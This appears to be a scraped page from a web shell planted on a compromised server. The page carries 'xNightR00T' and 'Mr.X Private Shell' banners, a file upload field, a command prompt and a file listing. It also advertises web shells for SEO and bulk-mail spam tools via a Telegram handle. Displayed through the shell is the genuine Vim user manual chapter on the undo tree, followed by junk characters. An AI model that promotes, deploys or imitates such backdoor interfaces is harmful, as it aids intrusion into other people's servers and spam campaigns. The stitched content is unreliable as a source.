xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
*usr_32.txt*	For Vim version 7.4.  Last change: 2010 Jul 20

		     VIM USER MANUAL - by Bram Moolenaar

			      The undo tree


Vim provides multi-level undo.  If you undo a few changes and then make a new
change you create a branch in the undo tree.  This text is about moving
through the branches.

|32.1|	Undo up to a file write
|32.2|	Numbering changes
|32.3|	Jumping around the tree
|32.4|	Time travelling

     Next chapter: |usr_40.txt|  Make new commands
 Previous chapter: |usr_31.txt|  Exploiting the GUI
Table of contents: |usr_toc.txt|

==============================================================================
*32.1*	Undo up to a file write

Sometimes you make several changes, and then discover you want to go back to
when you have last written the file.  You can do that with this command: >

	:earlier 1f

The "f" stands for "file" here.

You can repeat this command to go further back in the past.  Or use a count
different from 1 to go back faster.

If you go back too far, go forward again with: >

	:later 1f

Note that these commands really work in time sequence.  This matters if you
made changes after undoing some changes.  It's explained in the next section.

Also note that we are talking about text writes here.  For writing the undo
information in a file see |undo-persistence|.

==============================================================================
*32.2*	Numbering changes

In section |02.5| we only discussed one line of undo/redo.  But it is also
possible to branch off.  This happens when you undo a few changes and then
make a new change.  The new changes become a branch in the undo tree.

Let's start with the text "one".  The first change to make is to append
" too".  And then move to the first 'o' and change it into 'w'.  We then have
two changes, numbered 1 and 2, and three states of the text:

		one ~
		 |
	      change 1
		 |
	      one too ~
		 |
	      change 2
		 |
	      one two ~

If we now undo one change, back to "one too", and change "one" to "me" we
create a branch in the undo tree:

		one ~
		 |
	      change 1
		 |
	      one too ~
	      /     \
	 change 2  change 3
	    |	      |
	 one two    me too ~

You can now use the |u| command to undo.  If you do this twice you get to
"one".  Use |CTRL-R| to redo, and you will go to "one too".  One more |CTRL-R|
takes you to "me too".  Thus undo and redo go up and down in the tree, using
the branch that was last used.

What matters here is the order in which the changes are made.  Undo and redo
are not considered changes in this context.  After each change you have a new
state of the text.

Note that only the changes are numbered, the text shown in the tree above has
no identifier.  They are mostly referred to by the number of the change above
it.  But sometimes by the number of one of the changes below it, especially
when moving up in the tree, so that you know which change was just undone.

==============================================================================
*32.3*	Jumping around the tree

So how do you get to "one two" now?  You can use this command: >

	:undo 2

The text is now "one two", you are below change 2.  You can use the |:undo|
command to jump to below any change in the tree.

Now make another change: change "one" to "not":

		one ~
		 |
	      change 1
		 |
	      one too ~
	      /     \
	 change 2  change 3
	    |	      |
	 one two    me too ~
	    |
	 change 4
	    |
	 not two ~

Now you change your mind and want to go back to "me too".  Use the |g-|
command.  This moves back in time.  Thus it doesn't walk the tree upwards or
downwards, but goes to the change made before.

You can repeat |g-| and you will see the text change:
	me too ~
	one two ~
	one too ~
	one ~

Use |g+| to move forward in time:
	one ~
	one too ~
	one two ~
	me too ~
	not two ~

Using |:undo| is useful if you know what change you want to jump to.  |g-| and
|g+| are useful if you don't know exactly what the change number is.

You can type a count before |g-| and |g+| to repeat them.

==============================================================================
*32.4*	Time travelling

When you have been working on text for a while the tree grows to become big.
Then you may want to go to the text of some minutes ago.

To see what branches there are in the undo tree use this command: >

	:undolist
<	number changes  time ~
	     3       2  16 seconds ago
	     4       3  5 seconds ago

Here you can see the number of the leaves in each branch and when the change
was made.  Assuming we are below change 4, at "not two", you can go back ten
seconds with this command: >

	:earlier 10s

Depending on how much time you took for the changes you end up at a certain
position in the tree.  The |:earlier| command argument can be "m" for minutes,
"h" for hours and "d" for days.  To go all the way back use a big number: >

	:earlier 100d

To travel forward in time again use the |:later| command: >

	:later 1m

The arguments are "s", "m" and "h", just like with |:earlier|.

If you want even more details, or want to manipulate the information, you can
use the |undotree()| function.  To see what it returns: >

	:echo undotree()

==============================================================================

Next chapter: |usr_40.txt|  Make new commands

Copyright: see |manual-copyright|  vim:tw=78:ts=8:ft=help:norl:

Filemanager

Name Type Size Permission Actions
arabic.txt File 11.66 KB 0644
autocmd.txt File 55.99 KB 0644
change.txt File 69.35 KB 0644
cmdline.txt File 44.51 KB 0644
debug.txt File 7.01 KB 0644
debugger.txt File 5.51 KB 0644
develop.txt File 19.77 KB 0644
diff.txt File 15.17 KB 0644
digraph.txt File 60.43 KB 0644
editing.txt File 67.9 KB 0644
eval.txt File 331.44 KB 0644
farsi.txt File 9.48 KB 0644
filetype.txt File 23.09 KB 0644
fold.txt File 22.61 KB 0644
ft_ada.txt File 17.82 KB 0644
ft_sql.txt File 29.97 KB 0644
gui.txt File 41.91 KB 0644
gui_w16.txt File 7.08 KB 0644
gui_w32.txt File 20.82 KB 0644
gui_x11.txt File 25.26 KB 0644
hangulin.txt File 3.14 KB 0644
hebrew.txt File 5.58 KB 0644
help.txt File 8.06 KB 0644
helphelp.txt File 13.37 KB 0644
howto.txt File 2.84 KB 0644
if_cscop.txt File 19.44 KB 0644
if_lua.txt File 13.2 KB 0644
if_mzsch.txt File 10.33 KB 0644
if_ole.txt File 7.23 KB 0644
if_perl.txt File 10.53 KB 0644
if_pyth.txt File 30.9 KB 0644
if_ruby.txt File 7.22 KB 0644
if_sniff.txt File 3.59 KB 0644
if_tcl.txt File 22.1 KB 0644
indent.txt File 37.27 KB 0644
index.txt File 72.31 KB 0644
insert.txt File 79.9 KB 0644
intro.txt File 37.25 KB 0644
map.txt File 60.03 KB 0644
mbyte.txt File 56.9 KB 0644
message.txt File 29.81 KB 0644
mlang.txt File 7.55 KB 0644
motion.txt File 49.83 KB 0644
netbeans.txt File 35.74 KB 0644
options.txt File 345.05 KB 0644
os_390.txt File 4.67 KB 0644
os_amiga.txt File 5.33 KB 0644
os_beos.txt File 10.68 KB 0644
os_dos.txt File 11.68 KB 0644
os_mac.txt File 3.95 KB 0644
os_mint.txt File 1.37 KB 0644
os_msdos.txt File 12.95 KB 0644
os_os2.txt File 8.45 KB 0644
os_qnx.txt File 3.98 KB 0644
os_risc.txt File 323 B 0644
os_unix.txt File 2.53 KB 0644
os_vms.txt File 31.35 KB 0644
os_win32.txt File 17.62 KB 0644
pattern.txt File 55.82 KB 0644
pi_getscript.txt File 20.39 KB 0644
pi_gzip.txt File 1.27 KB 0644
pi_netrw.txt File 128.78 KB 0644
pi_paren.txt File 2.22 KB 0644
pi_spec.txt File 4.03 KB 0644
pi_tar.txt File 6.5 KB 0644
pi_vimball.txt File 11.37 KB 0644
pi_zip.txt File 5.7 KB 0644
print.txt File 30.43 KB 0644
quickfix.txt File 59.23 KB 0644
quickref.txt File 67.36 KB 0644
quotes.txt File 12.45 KB 0644
recover.txt File 10.45 KB 0644
remote.txt File 8.09 KB 0644
repeat.txt File 26.63 KB 0644
rileft.txt File 4.86 KB 0644
russian.txt File 3.02 KB 0644
scroll.txt File 13.65 KB 0644
sign.txt File 6.57 KB 0644
spell.txt File 60.46 KB 0644
sponsor.txt File 7.03 KB 0644
starting.txt File 66.06 KB 0644
syntax.txt File 203.45 KB 0644
tabpage.txt File 13.25 KB 0644
tags File 289.24 KB 0644
tagsrch.txt File 35.08 KB 0644
term.txt File 40.17 KB 0644
tips.txt File 20.07 KB 0644
todo.txt File 259.94 KB 0644
uganda.txt File 13.7 KB 0644
undo.txt File 16.09 KB 0644
usr_01.txt File 6.93 KB 0644
usr_02.txt File 18.09 KB 0644
usr_03.txt File 22.94 KB 0644
usr_04.txt File 18.63 KB 0644
usr_05.txt File 21.73 KB 0644
usr_06.txt File 9.36 KB 0644
usr_07.txt File 15.6 KB 0644
usr_08.txt File 18.92 KB 0644
usr_09.txt File 11.18 KB 0644
usr_10.txt File 28.5 KB 0644
usr_11.txt File 12.32 KB 0644
usr_12.txt File 13.1 KB 0644
usr_20.txt File 13.38 KB 0644
usr_21.txt File 17.94 KB 0644
usr_22.txt File 13.96 KB 0644
usr_23.txt File 12.29 KB 0644
usr_24.txt File 20.36 KB 0644
usr_25.txt File 18.58 KB 0644
usr_26.txt File 8.06 KB 0644
usr_27.txt File 17.31 KB 0644
usr_28.txt File 15.64 KB 0644
usr_29.txt File 19.69 KB 0644
usr_30.txt File 22.13 KB 0644
usr_31.txt File 10.15 KB 0644
usr_32.txt File 5.25 KB 0644
usr_40.txt File 22.64 KB 0644
usr_41.txt File 81.84 KB 0644
usr_42.txt File 13.47 KB 0644
usr_43.txt File 6.88 KB 0644
usr_44.txt File 28.49 KB 0644
usr_45.txt File 17.48 KB 0644
usr_90.txt File 17.25 KB 0644
usr_toc.txt File 8.98 KB 0644
various.txt File 25.53 KB 0644
version4.txt File 13.58 KB 0644
version5.txt File 301.33 KB 0644
version6.txt File 563.52 KB 0644
version7.txt File 658.99 KB 0644
vi_diff.txt File 41.18 KB 0644
vim2html.pl File 4.41 KB 0755
visual.txt File 21.04 KB 0644
windows.txt File 48.28 KB 0644
workshop.txt File 4.52 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1